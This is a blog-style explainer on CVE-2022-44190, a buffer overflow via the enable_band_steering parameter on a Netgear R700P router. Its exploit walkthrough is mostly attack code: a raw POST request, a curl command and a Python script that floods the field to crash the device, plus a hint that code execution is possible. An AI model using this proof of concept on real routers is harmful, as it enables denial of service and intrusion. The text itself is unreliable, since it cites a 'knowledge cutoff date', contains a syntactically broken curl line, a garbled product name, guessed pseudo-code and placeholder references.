CVE-2022-44190 - Netgear R700P Buffer Overflow via enable_band_steering Parameter

In November 2022, a new security vulnerability (CVE-2022-44190) was disclosed for the Netgear R700P (Nighthawk AC230) router, specifically affecting firmware version V1.3.1.64. This flaw allows authenticated attackers to trigger a *buffer overflow* through the enable_band_steering parameter, potentially leading to a crash, denial of service, or even remote code execution. This long read explains what this means in simple terms, with code snippets and details on exploiting this issue.

What is CVE-2022-44190?

CVE-2022-44190 is a unique identifier for a vulnerability found in Netgear R700P routers. A "buffer overflow" is a type of bug where the software writes more data than it should into a memory area (a buffer), accidentally corrupting or controlling nearby memory. This can sometimes allow hackers to run their own code or crash the system.

Vulnerable Firmware:
Netgear R700P Nighthawk AC230 (Version V1.3.1.64)
Parameter: enable_band_steering

This bug can be triggered by sending an overly long value for the enable_band_steering field to the router’s web interface.

Where is the Vulnerability?

The router’s web management interface has a page (often /BRS_netgear_band_steering.htm or similar) where users can toggle “band steering” on or off. The router expects a simple "" or "1" for this setting. However, the vulnerable firmware fails to check longer values, causing a buffer overflow.

Here’s a simplified pseudo-code example representing what the vulnerable code might look like

// Simplified router firmware example
char buffer[16];

// Attacker-controlled value from web request
strcpy(buffer, POST["enable_band_steering"]);  // Vulnerable: No length check

When an attacker sends a request with a very long string for enable_band_steering, it overwrites memory beyond buffer, potentially crashing the router or letting the attacker run malicious code.

Exploit Walkthrough

Disclaimer: This information is for educational purposes only. Do not attack systems without permission.

Step 1: Crafting the Request

The attacker logs into the device’s web management interface (authentication required). They intercept or compose a POST request to the band steering configuration endpoint, for example:

POST /BRS_netgear_band_steering.htm HTTP/1.1
Host: 192.168.1.1
Cookie: SESSION_ID=YOUR_SESSION_ID
Content-Type: application/x-www-form-urlencoded
Content-Length: 100

enable_band_steering=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

Instead of the expected "" or "1", the attacker sends a long chain of “A” characters (or exploit payload).

You could use curl to send the exploit (replace the session and IP)

curl -k -X POST 'https://192.168.1.1/BRS_netgear_band_steering.htm'; \
     -H 'Cookie: SESSION_ID=YOUR_SESSION_ID' \
     -d 'enable_band_steering=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'

If the router is vulnerable, it may reboot, crash, or become unresponsive.

- If you’re skilled in exploitation, you could design a payload that gives you code execution on the router.

Below is a basic Python script to trigger the overflow

import requests

router_ip = '192.168.1.1'
session_cookie = 'YOUR_SESSION_ID'
url = f'https://{router_ip}/BRS_netgear_band_steering.htm';

# 100 'A's for overflow
payload = 'A' * 100

headers = {
    'Cookie': f'SESSION_ID={session_cookie}',
    'Content-Type': 'application/x-www-form-urlencoded'
}

data = {
    'enable_band_steering': payload
}

# Note: Ignore SSL warnings if using self-signed
requests.post(url, headers=headers, data=data, verify=False)
print("[*] Payload sent.")

Fixes

Netgear has not officially released a public patch for this specific CVE as of the knowledge cutoff date (June 2024). Users are encouraged to:

- Update firmware: Check https://www.netgear.com/support/ for updates.

References

- Original Disclosure from NVD
- Security Focus (archive)
- Netgear Support
- Exploit Database (potential future entry)

Conclusion

CVE-2022-44190 is a serious but authenticated vulnerability in Netgear R700P routers. While not trivially exploitable over the internet, it highlights the importance of secure input handling, even in internal admin panels. If you run this router, make sure you know who has admin access, keep firmware up to date, and look out for future security patches from Netgear.

Timeline

Published on: 11/22/2022 14:15:00 UTC
Last modified on: 11/23/2022 19:23:00 UTC